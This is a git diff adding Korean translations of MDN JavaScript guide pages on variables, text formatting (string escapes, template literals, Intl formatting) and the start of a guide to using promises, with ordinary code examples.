+</p><p>JavaScript에는 <a href="ko/Core_JavaScript_1.5_Guide/Block_Statement#.EB.B8.94.EB.A1.9D_.EB.AC.B8.EC.9E.A5">블록 문장</a> 범위가 없습니다. 대신 그 블록이 포함된 코드의 지역 범위에 포함됩니다. 예를 들어 다음 코드에서는 <code>condition</code>이 <code>false</code>이면 예외를 발생시키는 대신 0을 출력합니다.
+</p>
+<pre class="eval">if (condition) {
+ var x = 5;
+}
+print(x ? x : 0);
+</pre>
+<p>JavaScript의 변수와 관련해서 또다른 색다른 점은 나중에 선언될 변수에 예외 발생없이 접근할 수 있다는 것입니다.
+</p>
+<pre class="eval">print(x === undefined); // prints "true"
+var x = 3;
+</pre>
+<h4 id=".EC.A0.84.EC.97.AD_.EB.B3.80.EC.88.98" name=".EC.A0.84.EC.97.AD_.EB.B3.80.EC.88.98"> 전역 변수 </h4>
+<p><span class="comment">need links to pages discussing scope chains and the global object</span>
+전역 변수는, 실제로는 "전역 개체(global object)"의 속성(property)입니다. 웹 페이지에서 전역 개체는 <a href="ko/DOM/window">window</a>이므로, <code>window.<i>variable</i></code> 문장을 이용해서 전역 변수에 접근할 수 있습니다.
+</p><p>그러므로, window나 frame 이름을 이용하면 다른 window나 frame에 정의된 전역 변수에 접근할 수 있습니다. 예를 들어 <code>phoneNumber</code>라는 변수를 <code>FRAMESET</code> 문서에 정의했다면, 자식 frame에서 <code>parent.phoneNumber</code>로 그 변수에 접근할 수 있습니다.
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Values", "Core_JavaScript_1.5_Guide:Constants") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Variables", "fr": "fr/Guide_JavaScript_1.5/Variables", "ja": "ja/Core_JavaScript_1.5_Guide/Variables", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Zmienne" } ) }}
diff --git a/files/ko/web/javascript/guide/text_formatting/index.html b/files/ko/web/javascript/guide/text_formatting/index.html
new file mode 100644
index 0000000000..027e92c262
--- /dev/null
+++ b/files/ko/web/javascript/guide/text_formatting/index.html
@@ -0,0 +1,275 @@
+---
+title: 텍스트 서식
+slug: Web/JavaScript/Guide/Text_formatting
+translation_of: Web/JavaScript/Guide/Text_formatting
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}</div>
+
+<p class="summary">이 장에서는 JavaScript에서 문자열과 텍스트로 작업하는 방법을 소개합니다.</p>
+
+<h2 id="문자열">문자열</h2>
+
+<p> JavaScript의 {{Glossary("문자열")}} 유형은 원문의 데이터를 나타내는데 사용됩니다. 이는 16비트 부호 없는 정수 값(UTF-16 code units)의 "요소" 집합입니다. String의 각 요소(문자)는 String에서 하나의 위치를 차지합니다. 첫 번째 요소는 인덱스 0 다음은 인덱스 1 등등... 문자열의 길이는 요소의 수와 같습니다. 문자열 리터럴 또는 문자열 객체를 사용하여 문자열을 만들 수 있습니다.</p>
+
+<p> </p>
+
+<p>주의 : 이페이지를 수정한다면 MDN bug 857438이 해결될 때 까지 U+FFFF이상의 문자를 포함하지 마세요. ( <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=857438">https://bugzilla.mozilla.org/show_bug.cgi?id=857438</a> ).</p>
+
+<h3 id="문자열_리터럴">문자열 리터럴</h3>
+
+<p>작은따옴표나 큰따옴표를 사용하여 간단한 문자열을 만들 수 있습니다:</p>
+
+<pre class="brush: js">'foo'
+"bar"</pre>
+
+<p>보다 많은 문자열을 이스케이프 시퀀스를 사용하여 만들 수 있습니다</p>
+
+<h4 id="16진수_이스케이프_시퀀스">16진수 이스케이프 시퀀스</h4>
+
+<p>\x 뒤에 수는 <a href="https://en.wikipedia.org/wiki/Hexadecimal">16진수</a>로 해석(interpreted)됩니다.</p>
+
+<pre class="brush: js">'\xA9' // "©"
+</pre>
+
+<h4 id="유니코드_이스케이프_시퀀스">유니코드 이스케이프 시퀀스</h4>
+
+<p>유니코드 이스케이프 시퀀스는 \u 다음에 적어도 네 개의 16진수 숫자(digit)를 필요로 합니다.</p>
+
+<pre class="brush: js">'\u00A9' // "©"</pre>
+
+<h4 id="유니코드_코드_포인트_이스케이프">유니코드 코드 포인트 이스케이프</h4>
+
+<p>ECMAScript 6의 새로운 기능. 유니 코드 포인트 이스케이프를 사용하면 16 진수를 사용하여 모든 문자를 이스케이프 처리 할 수 ​​있으므로 최대 <code>0x10FFFF</code>의 유니 코드 코드 포인트를 사용할 수 있습니다. 간단한 유니 코드 이스케이프를 사용하면 동일한 결과를 얻기 위해서 서로 게이트를 별도로 작성해야하는 경우가 있습니다.</p>
+
+<p>{{jsxref("String.fromCodePoint()")}} 나 {{jsxref("String.prototype.codePointAt()")}}를 참고하세요.</p>
+
+<pre class="brush: js">'\u{2F804}'
+
+// the same with simple Unicode escapes
+'\uD87E\uDC04'</pre>
+
+<h3 id="문자열_개체">문자열 개체</h3>
+
+<p>{{jsxref("문자열")}} 개체<span>는 문자열 기본 데이터 형식의 래퍼입니다.</span></p>
+
+<pre class="brush: js">var s = new String("foo"); // Creates a String object
+console.log(s); // Displays: { '0': 'f', '1': 'o', '2': 'o'}
+typeof s; // Returns 'object'
+</pre>
+
+<p>여러분은 문자열 리터럴 값에 문자열 개체의 방법 중 하나를 호출 할 수 있습니다.—JavaScript가 자동으로 문자열 리터럴을 임시 문자열 개체로 변환하고, 메서드를 호출하고, 그리고나서 임시 문자열 개체를 삭제합니다. 또한, <code>String.length</code> 속성을 문자열 리터럴과 함께 사용할 수 있습니다.</p>
+
+<p>특별히 <code>String</code> 개체를 사용할 필요가 없지 않는 한, <code>String</code> 개체는 직관에 반하는 행동을 할 수 있기 때문에 여러분은 string 리터럴을 사용해야합니다. 예를들어:</p>
+
+<pre class="brush: js">var s1 = "2 + 2"; // Creates a string literal value
+var s2 = new String("2 + 2"); // Creates a String object
+eval(s1); // Returns the number 4
+eval(s2); // Returns the string "2 + 2"</pre>
+
+<p><span class="atn">문자열 개체</span><span>는</span> <span class="atn hps">문자열</span><span>의 문자 수를</span> <span class="hps">나타내는</span> <span class="atn hps">하나의 속성</span><span>,</span> <span class="atn hps">길이</span><span class="atn">를 갖습니다</span><span>.</span> 예를 들어, "Hello, World!"가 13자 이므로 다음 코드는 <span class="hps">x를 값 13으로 할당합니다. <code>String</code> 객체는 문자열에있는 UTF-16 코드 단위의 수를 나타내는 길이가 하나의 속성을 가집니다. 예를 들어, 다음 코드에서는 "Hello, World!"가 UTF-16 코드 단위로 표현되는 13개의 문자를 가지고 있기 때문에 x 값이 13이 됩니다. 배열 브래킷 스타일을 사용하여 각 코드 단위에 액세스 할 수 있습니다. 문자열은 변경 불가능한 배열과 같은 객체이기 때문에 개별 문자를 변경할 수 없습니다.</span></p>
+
+<pre><code>var mystring = 'Hello, World!';
+var x = mystring.length;
+mystring[0] = 'L'; // This has no effect, because strings are immutable
+mystring[0]; // This returns "H"</code></pre>
+
+<p>유니 코드 스칼라 값이 U + FFFF (희귀 한 중국어 / 일본어 / 한국어 / 베트남어 문자 및 일부 이모티콘)보다 큰 문자는 각각 서로 다른 두 개의 코드 단위로 UTF-16에 저장됩니다. 예를 들어, 단일 문자 U + 1F600 "Emoji grinning face"를 포함하는 문자열은 길이가 2입니다. 대괄호를 사용하여 이러한 문자열의 개별 코드 단위에 액세스하면 일치하지 않는 대리 코드 단위가있는 문자열이 만들어지는 등의 바람직하지 않은 결과가 발생할 수 있습니다. 유니 코드 표준 위반 MDN 버그 857438이 수정 된 후에 예제가 이 페이지에 추가되어야합니다. {{jsxref ( "String.fromCodePoint ()")}} 또는 {{jsxref ( "String.prototype.codePointAt ()")}}도 참조하십시오.</p>
+
+<p><code>String</code> 객체는 다양한 메서드가 있습니다: 문자열 자체의 변경된 결과를 반환하는 <code>substring</code>과 <code>toUpperCase</code>가 그것!</p>
+
+<p>다음 표는 {{jsxref("문자열")}} 개체의 메서드를 요약한 것입니다.</p>
+
+<table class="standard-table">
+ <caption>
+ <h4 id="문자열_메서드">문자열 메서드</h4>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">Method</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("String.charAt", "charAt")}}, {{jsxref("String.charCodeAt", "charCodeAt")}}, {{jsxref("String.codePointAt", "codePointAt")}}</td>
+ <td>
+ <p>문자열에서 지정된 위치에 있는 문자나 문자 코드를 반환합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.indexOf", "indexOf")}}, {{jsxref("String.lastIndexOf", "lastIndexOf")}}</td>
+ <td>
+ <p>문자열에서 지정된 부분 문자열의 위치나 지정된 부분 문자열의 마지막 위치를 각각 반환합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.startsWith", "startsWith")}}, {{jsxref("String.endsWith", "endsWith")}}, {{jsxref("String.includes", "includes")}}</td>
+ <td>
+ <p>문자열 시작하고, 끝나고, 지정된 문자열을 포함하는지의 여부를 반환합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.concat", "concat")}}</td>
+ <td>
+ <p>두 문자열의 텍스트를 결합하고 새로운 문자열을 반환합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}}</td>
+ <td>
+ <p>유니코드 값의 지정된 시퀀스로부터 문자열을 구축합니다. 문자열 인스턴스가 아닌 문자열 클래스의 메서드입니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.split", "split")}}</td>
+ <td>
+ <p>부분 문자열로 문자열을 분리하여 문자열 배열로 문자열 개체를 분할합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.slice", "slice")}}</td>
+ <td>
+ <p>문자열의 한 부분을 추출하고 새 문자열을 반환합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.substring", "substring")}}, {{jsxref("String.substr", "substr")}}</td>
+ <td>
+ <p><span class="hps">어느</span> <span class="hps">시작 및 종료</span> <span class="hps">인덱스</span> <span class="hps">또는</span> <span class="hps">시작 인덱스</span> <span class="hps">및</span> <span class="atn hps">길이</span><span class="atn">를 지정하여, </span><span class="hps">문자열의</span> <span class="hps">지정된</span> <span class="hps">일부를</span> <span class="hps">반환합니다.</span></p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.match", "match")}}, {{jsxref("String.replace", "replace")}}, {{jsxref("String.search", "search")}}</td>
+ <td>
+ <p><span class="atn hps">정규 표현식</span><span>으로</span> <span class="hps">작업합니다.</span></p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.toLowerCase", "toLowerCase")}},<br>
+ {{jsxref("String.toUpperCase", "toUpperCase")}}</td>
+ <td>
+ <p>.<span class="hps">모든</span><span class="hps"> 소문자</span> <span class="hps">또는</span><span class="atn hps"> 대문자에서 각각 문자열을 반환합니다.</span></p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.normalize", "normalize")}}</td>
+ <td><span class="hps">호출</span> <span class="atn hps">문자열 값</span><span>의</span> <span class="hps">유니 코드 표준화</span> <span class="atn hps">양식</span><span>을 반환합니다.</span></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.repeat", "repeat")}}</td>
+ <td>
+ <p>주어진 회를 반복하는 개체 요소로 이루어진 문자열을 반환합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("String.trim", "trim")}}</td>
+ <td><span class="atn hps">문자열</span><span class="atn">의 시작과 끝</span><span>에서</span> <span class="hps">공백을</span> <span class="atn hps">자릅니다</span><span>.</span></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="다중_선_템플릿_문자열">다중 선 템플릿 문자열</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/template_strings">템플릿 문자열</a>은 포함 식을 용납하는 문자열 리터럴입니다. 여러분은 그것들과 함께 다중 선 문자열 및 문자열 보간 기능을 사용할 수 있습니다.</p>
+
+<p>템플릿 문자열은 작은따옴표나 큰따옴표 대신에 back-tick (` `) (<a class="external external-icon" href="https://en.wikipedia.org/wiki/Grave_accent">grave accent</a>)문자로 묶습니다.<span> </span><span class="hps">템플릿</span> <span class="hps">문자열은</span> <span class="hps">자리 표시자를 </span><span>포함 할 수 있습니다</span>. <span class="hps">이들은</span> <span class="atn hps">달러 기호</span><span>와</span> <span class="atn hps">중괄호</span><span>로 표시됩니다</span>.  (<code>${expression}</code>)</p>
+
+<h4 id="다중_선">다중 선</h4>
+
+<p>소스에 삽입하는 새로운 선 문자는 템플릿 문자열의 일부입니다. 정상적인 문자열을 사용하면, 여러분은 다중 선 문자열을 얻기 위해 다음과 같은 구문을 사용해야합니다:</p>
+
+<pre class="brush: js">console.log("string text line 1\n\
+string text line 2");
+// "string text line 1
+// string text line 2"</pre>
+
+<p>다중 선 문자열과 같은 효과를 얻기 위해, 여러분은 이제 쓸 수 있습니다:</p>
+
+<pre class="brush: js">console.log(`string text line 1
+string text line 2`);
+// "string text line 1
+// string text line 2"</pre>
+
+<h4 id="포함식">포함식</h4>
+
+<p>일반 문자열 내에서 표현식을 포함하기 위해, 다음과 같은 구문을 사용합니다:</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log("Fifteen is " + (a + b) + " and\nnot " + (2 * a + b) + ".");
+// "Fifteen is 15 and
+// not 20."</pre>
+
+<p>이제, 템플릿 문자열을 가지고, 여러분은 읽기와 같이 대체를 만드는 syntactic sugar의 사용을 할 수 있습니다:</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`);
+// "Fifteen is 15 and
+// not 20."</pre>
+
+<p>자세한 내용은 <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript 참조</a>에서 <a href="/en-US/docs/Web/JavaScript/Reference/template_strings">템플릿 문자열</a>에 대해 읽어보세요.</p>
+
+<h2 id="국제화">국제화</h2>
+
+<p>{{jsxref("Intl")}} 개체는  ECMA스크립트 국제 API에 언어와 문자열과 숫자서식과 날짜와 시간서식을 제공하는 명칭공간입니다.  {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, 와 {{jsxref("DateTimeFormat")}} 개체들을 위한 생성자들은  <code>Intl</code> 개체의 특성들입니다.</p>
+
+<h3 id="날짜와_시간서식">날짜와 시간서식</h3>
+
+<p>{{jsxref("DateTimeFormat")}} 개체는 날짜와 시간을 서식하기에 유용합니다. 다음 코드는 미국에서 쓰이는 영어로 날짜를 서식합니다. (결과는 다른 시간대와 다릅니다)</p>
+
+<pre class="brush: js">var msPerDay = 24 * 60 * 60 * 1000;
+
+// July 17, 2014 00:00:00 UTC.
+var july172014 = new Date(msPerDay * (44 * 365 + 11 + 197));
+
+var options = { year: "2-digit", month: "2-digit", day: "2-digit",
+    hour: "2-digit", minute: "2-digit", timeZoneName: "short" };
+var americanDateTime = new Intl.DateTimeFormat("en-US", options).format;
+
+console.log(americanDateTime(july172014)); // 07/16/14, 5:00 PM PDT
+</pre>
+
+<h3 id="숫자_서식">숫자 서식</h3>
+
+<p>{{jsxref("NumberFormat")}}개체는 통화를 위해 숫자를 서식하는것에 대해 유용하다.</p>
+
+<pre class="brush: js">var gasPrice = new Intl.NumberFormat("en-US",
+                        { style: "currency", currency: "USD",
+                          minimumFractionDigits: 3 });
+
+console.log(gasPrice.format(5.259)); // $5.259
+
+var hanDecimalRMBInChina = new Intl.NumberFormat("zh-CN-u-nu-hanidec",
+                        { style: "currency", currency: "CNY" });
+
+console.log(hanDecimalRMBInChina.format(1314.25)); // ¥ 一,三一四.二五
+</pre>
+
+<h3 id="조합">조합</h3>
+
+<p>{{jsxref("Collator")}}개체는 문자열을 비교하고 구분하는 것에 대해 유용합니다.</p>
+
+<p>예를 들어, 실제로 독일에선 phonebook과 dictionary라는 2개의 다른 종류의 명령어들이 있습니다. 전화기록부류는 소리를 강조합니다. 그리고 구분에 앞서 다른것들은 “ä”, “ö”인것처럼 "ae", "oe"로 확장됐습니다. </p>
+
+<pre class="brush: js">var names = ["Hochberg", "Hönigswald", "Holzman"];
+
+var germanPhonebook = new Intl.Collator("de-DE-u-co-phonebk");
+
+// as if sorting ["Hochberg", "Hoenigswald", "Holzman"]:
+console.log(names.sort(germanPhonebook.compare).join(", "));
+// logs "Hochberg, Hönigswald, Holzman"
+</pre>
+
+<p>어떤 독일말들은 여분의 변모음과 함께 활용한다. 그래서 사전안에서 이것은 변모음을 무시하라고 명령하기에 실용적이다.</p>
+
+<pre class="brush: js">var germanDictionary = new Intl.Collator("de-DE-u-co-dict");
+
+// as if sorting ["Hochberg", "Honigswald", "Holzman"]:
+console.log(names.sort(germanDictionary.compare).join(", "));
+// logs "Hochberg, Holzman, Hönigswald"
+</pre>
+
+<p>{{jsxref("Intl")}}API에 대한 자세한 내용은 <a href="https://hacks.mozilla.org/2014/12/introducing-the-javascript-internationalization-api/">Introducing the JavaScript Internationalization API</a>를 참조하세요.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}</p>
diff --git a/files/ko/web/javascript/guide/using_promises/index.html b/files/ko/web/javascript/guide/using_promises/index.html
new file mode 100644
index 0000000000..bc847e561a
--- /dev/null
+++ b/files/ko/web/javascript/guide/using_promises/index.html
@@ -0,0 +1,361 @@
+---
+title: Using promises
+slug: Web/JavaScript/Guide/Using_promises
+tags:
+ - Promise
+ - Promises
+translation_of: Web/JavaScript/Guide/Using_promises
+---
+<div>{{jsSidebar("JavaScript Guide")}}{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
+
+<p class="summary">{{jsxref("Promise")}}는 비동기 작업의 최종 완료 또는 실패를 나타내는 객체입니다. 대부분 여러분은 이미 만들어진 promise를 사용했었기 때문에 이 가이드에서는 어떻게 promise를 만드는지 설명하기에 앞서 promise의 사용법에 대해 설명합니다.</p>
+
+<p>기본적으로 promise는 함수에 콜백을 전달하는 대신에, 콜백을 첨부하는 방식의 객체입니다.<br>
+  </p>
+
+<p>비동기로 음성 파일을 생성해주는  <code>createAudioFileAsync()</code>라는 함수가 있었다고 생각해보세요. 해당 함수는 음성 설정에 대한 정보를 받고, 두 가지 콜백 함수를 받습니다. 하나는 음성 파일이 성공적으로 생성되었을때 실행되는 콜백, 그리고 다른 하나는 에러가 발생했을때 실행되는 콜백입니다.</p>
+
+<p><code>createAudioFileAsync()</code>는 함수는 아래와 같이 사용됩니다.  </p>
+
+<pre class="notranslate"><code>function successCallback(result) {
+  console.log("Audio file ready at URL: " + result);
+}</code>
+
+<code>function failureCallback(error) {
+ console.log("Error generating audio file: " + error);
+}</code>
+
+<code>createAudioFileAsync(audioSettings, successCallback, failureCallback);</code></pre>
+
+<p>…모던한 함수들은 위와 같이 콜백들을 전달지 않고 콜백을 붙여 사용할 수 있게 Promise를 반환해줍니다.</p>
+
+<p>만약 <code>createAudioFileAsync()</code> 함수가 Promise를 반환해주도록 수정해본다면, 다음과 같이 간단하게 사용되어질 수 있습니다.</p>
+
+<pre class="notranslate"><code><span style='background-color: rgba(220, 220, 220, 0.5); font-family: consolas,"Liberation Mono",courier,monospace; font-style: inherit; font-weight: inherit;'>createAudioFileAsync(audioSettings).then(successCallback, failureCallback);</span></code></pre>
+
+<p>…조금 더 간단하게 써보자면:</p>
+
+<pre class="notranslate"><code>const promise = createAudioFileAsync(audioSettings);
+promise.then(successCallback, failureCallback);</code></pre>
+
+<p>우리는 이와 같은 것을 <em>비동기 함수 호출</em>이라고 부릅니다. 이런 관례는 몇 가지 장점을 갖고 있습니다. 각각에 대해 한번 살펴보도록 합시다.</p>
+
+<h2 id="Guarantees">Guarantees</h2>
+
+<p>콜백 함수를 전달해주는 고전적인 방식과는 달리, Promise는 아래와 같은 특징을 보장합니다.</p>
+
+<ul>
+ <li>콜백은 자바스크립트 Event Loop이 <a href="/en-US/docs/Web/JavaScript/EventLoop#Run-to-completion">현재 실행중인 콜 스택을 완료</a>하기 이전에는 절대 호출되지 않습니다.</li>
+ <li>비동기 작업이 성공하거나 실패한 뒤에 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code> 을 이용하여 추가한 콜백의 경우에도 위와 같습니다.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code>을 여러번 사용하여 여러개의 콜백을 추가 할 수 있습니다. 그리고 각각의 콜백은 주어진 순서대로 하나 하나 실행되게 됩니다.</li>
+</ul>
+
+<p>Promise의 가장 뛰어난 장점 중의 하나는 <strong>chaining</strong>입니다.</p>
+
+<h2 id="Chaining">Chaining</h2>
+
+<p>보통 하나나 두 개 이상의 비동기 작업을 순차적으로 실행해야 하는 상황을 흔히 보게 됩니다. 순차적으로 각각의 작업이 이전 단계 비동기 작업이 성공하고 나서 그 결과값을 이용하여 다음 비동기 작업을 실행해야 하는 경우를 의미합니다. 우리는 이런 상황에서 <strong>promise chain</strong>을 이용하여 해결하기도 합니다.</p>
+
+<p><code>then()</code> 함수는 새로운 promise를 반환합니다. 처음에 만들었던 promise와는 다른 새로운 promise입니다.</p>
+
+<pre class="brush: js notranslate">const promise = doSomething();
+const promise2 = promise.then(successCallback, failureCallback);
+</pre>
+
+<p>또는</p>
+
+<pre class="brush: js notranslate">const promise2 = doSomething().then(successCallback, failureCallback);
+</pre>
+
+<p>두 번째 promise는 <code>doSomething()</code> 뿐만 아니라 <code>successCallback</code> or <code>failureCallback</code> 의 완료를 의미합니다. <code>successCallback</code> or <code>failureCallback</code> 또한 promise를 반환하는 비동기 함수일 수도 있습니다. 이 경우 <code>promise2</code>에 추가 된 콜백은 <code>successCallback</code>또는 <code>failureCallback</code>에 의해 반환된 promise 뒤에 대기합니다.</p>
+
+<p>기본적으로, 각각의 promise는 체인 안에서 서로 다른 비동기 단계의 완료를 나타냅니다.</p>
+
+<p>예전에는 여러 비동기 작업을 연속적으로 수행하면 고전적인 '지옥의 콜백 피라미드'가 만들어 졌었습니다.</p>
+
+<pre class="brush: js notranslate">doSomething(function(result) {
+ doSomethingElse(result, function(newResult) {
+ doThirdThing(newResult, function(finalResult) {
+ console.log('Got the final result: ' + finalResult);
+ }, failureCallback);
+ }, failureCallback);
+}, failureCallback);
+</pre>
+
+<p>모던한 방식으로 접근한다면, 우리는 콜백 함수들을 반환된 promise에 promise chain을 형성하도록 추가할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">doSomething().then(function(result) {
+ return doSomethingElse(result);
+})
+.then(function(newResult) {
+ return doThirdThing(newResult);
+})
+.then(function(finalResult) {
+ console.log('Got the final result: ' + finalResult);
+})
+.catch(failureCallback);
+</pre>
+
+<p><code>then</code> 에 넘겨지는 인자는 선택적(optional)입니다. 그리고 <code>catch(failureCallback)</code> 는 <code>then(null, failureCallback)</code> 의 축약입니다. 이 표현식을 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">화살표 함수</a>로 나타내면 다음과 같습니다.</p>
+
+<pre class="brush: js notranslate">doSomething()
+.then(result =&gt; doSomethingElse(result))
+.then(newResult =&gt; doThirdThing(newResult))
+.then(finalResult =&gt; {
+ console.log(`Got the final result: ${finalResult}`);
+})
+.catch(failureCallback);
+</pre>
+
+<p><strong>중요:</strong> 반환값이 반드시 있어야 합니다, 만약 없다면 콜백 함수가 이전의 promise의 결과를 받지 못합니다.<br>
+ (화살표 함수 () =&gt; x는 () =&gt; {return x;}와 같습니다).</p>
+
+<h3 id="Chaining_after_a_catch">Chaining after a catch</h3>
+
+<p>chain에서 작업이 실패한 후에도 새로운 작업을 수행하는 것이 가능하며 매우 유용합니다. (예 : <code>catch</code>) 다음 예를 읽으십시오:</p>
+
+<pre class="brush: js notranslate">new Promise((resolve, reject) =&gt; {
+ console.log('Initial');
+
+ resolve();
+})
+.then(() =&gt; {
+ throw new Error('Something failed');
+
+ console.log('Do this');
+})
+.catch(() =&gt; {
+ console.log('Do that');
+})
+.then(() =&gt; {
+ console.log('Do this, whatever happened before');
+});
+</pre>
+
+<p>그러면 다음 텍스트가 출력됩니다.</p>
+
+<pre class="notranslate">Initial
+Do that
+Do this, whatever happened before
+</pre>
+
+<p><strong>참고:</strong> "Do this" 텍스트가 출력되지 않은 것을 주의깊게 보십시오. "Something failed" 에러가 rejection을 발생시켰기 때문입니다.</p>
+
+<h2 id="Error_propagation">Error propagation</h2>
+
+<p>'콜백 지옥'에서 <code>failureCallback</code>이 3번 발생한 것을 기억 할 것입니다. promise chain에서는 단 한 번만 발생하는것과 비교되죠.</p>
+
+<pre class="notranslate"><code>doSomething()
+.then(result =&gt; doSomethingElse(result))
+.then(newResult =&gt; doThirdThing(newResult))
+.then(finalResult =&gt; console.log(`Got the final result: ${finalResult}`))
+.catch(failureCallback);</code></pre>
+
+<p>기본적으로 promise chain은 예외가 발생하면 멈추고 chain의 아래에서 catch를 찾습니다. 이것은 동기 코드가 어떻게 동작 하는지 모델링 한 것입니다.</p>
+
+<pre class="notranslate"><code>try {
+ const result = syncDoSomething();
+ const newResult = syncDoSomethingElse(result);
+ const finalResult = syncDoThirdThing(newResult);
+ console.log(`Got the final result: ${finalResult}`);
+} catch(error) {
+ failureCallback(error);
+}</code></pre>
+
+<p>비동기 코드를 사용한 이러한 대칭성은 ECMAScript 2017에서 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a> 구문(Syntactic sugar) 에서 최고로 느낄 수 있습니다.</p>
+
+<pre class="notranslate"><code>async function foo() {
+ try {
+ const result = await doSomething();
+ const newResult = await doSomethingElse(result);
+ const finalResult = await doThirdThing(newResult);
+ console.log(`Got the final result: ${finalResult}`);
+ } catch(error) {
+ failureCallback(error);
+ }
+}</code></pre>
+
+<p>이것은 promise를 기반으로 합니다. <code>doSomething()</code>은 이전 함수와 같습니다. 문법은 <a href="https://developers.google.com/web/fundamentals/getting-started/primers/async-functions">이곳</a>에서 확인 할 수 있습니다.</p>
+
+<p>Promise는 모든 오류를 잡아내어, 예외 및 프로그래밍 오류가 발생해도 콜백 지옥의 근본적인 결함을 해결합니다. 이는 비동기 작업의 기능 구성에 필수적입니다.</p>
+
+<h2 id="Promise_rejection_events">Promise rejection events</h2>
+
+<p>Promise가 reject될 때마다 두 가지 이벤트 중 하나가 전역 범위에 발생합니다.(일반적으로, 전역 범위는 {{domxref("window")}}거나, 웹 워커에서 사용되는 경우, {{domxref("Worker")}}, 혹은 워커 기반 인터페이스입니다.) 두 가지 이벤트는 다음과 같습니다.</p>
+
+<dl>
+ <dt>{{domxref("Window.rejectionhandled_event", "rejectionhandled")}}</dt>
+ <dd>executor의 <code>reject</code>함수에 의해 reject가 처리 된 후 promise가 reject 될 때 발생합니다.</dd>
+ <dt>{{domxref("Window.unhandledrejection_event", "unhandledrejection")}}</dt>
+ <dd>promise가 reject되었지만 사용할 수 있는 reject 핸들러가 없을 때 발생합니다.</dd>
+</dl>
+
+<p>({{domxref("PromiseRejectionEvent")}} 유형인) 두 이벤트에는 멤버 변수인 promise와 reason 속성이 있습니다. {{domxref ( "PromiseRejectionEvent.promise", "promise")}}는 reject된 promise를 가리키는 속성이고, {{domxref ( "PromiseRejectionEvent.reason", "reason")}}은 promise가 reject된 이유를 알려 주는 속성입니다.</p>
+
+<p>이들을 이용해 프로미스에 대한 에러 처리를 대체(fallback)하는 것이 가능해지며, 또한 프로미스 관리시 발생하는 이슈들을 디버깅하는 데 도움을 얻을 수 있습니다. 이 핸들러들은 모든 맥락에서 전역적(global)이기 때문에, 모든 에러는 발생한 지점(source)에 상관없이 동일한 핸들러로 전달됩니다.</p>
+
+<p>특히 유용한 사례 : {{Glossary("Node.js")}}로 코드를 작성할 때, 흔히 프로젝트에서 사용하는 모듈이 reject된 프로미스를 처리하지 않을 수 있습니다. 이런 경우 노드 실행시 콘솔에 로그가 남습니다. 이를 수집에서 분석하고 직접 처리할 수도 있습니다. 아니면 그냥 콘솔 출력을 어지럽히는 것을 막기 위해 그럴 수도 있죠. 이런 식으로 {{domxref("Window.unhandledrejection_event", "unhandledrejection")}}(<a href="/en-US/docs/Web/API/Window/unhandledrejection_event">영어</a>) 이벤트를 처리하는 핸들러를 추가하면 됩니다.</p>
+
+<pre class="notranslate"><code>window.addEventListener("unhandledrejection", event =&gt; {
+ /* You might start here by adding code to examine the
+ promise specified by event.promise and the reason in
+ event.reason */
+
+ event.preventDefault();
+}, false);</code></pre>
+
+<p>이벤트의 {{domxref("Event.preventDefault", "preventDefault()")}} 메서드를 호출하면 reject 된 프로미스가 처리되지 않았을 때 JavaScript 런타임이 기본 동작을 수행하지 않습니다. 이 기본 동작은 대개 콘솔에 오류를 기록하는 것이기 때문에, 이것은 확실히 NodeJS를 위한 것이죠.</p>
+
+<p>제대로 하려면, 당연한 말이지만, 이 이벤트를 그냥 무시해버리기 전에 reject된 프로미스 코드에 실제로 버그가 없는지 확실히 검사해야 합니다.</p>
+
+<h2 id="오래된_콜백_API를_사용하여_Promise만들기">오래된 콜백 API를 사용하여 Promise만들기</h2>
+
+<p>{{jsxref ( "Promise")}}는 생성자를 사용하여 처음부터 생성 될 수 있습니다. 이것은 오래된 API를 감쌀 때만 필요합니다.</p>
+
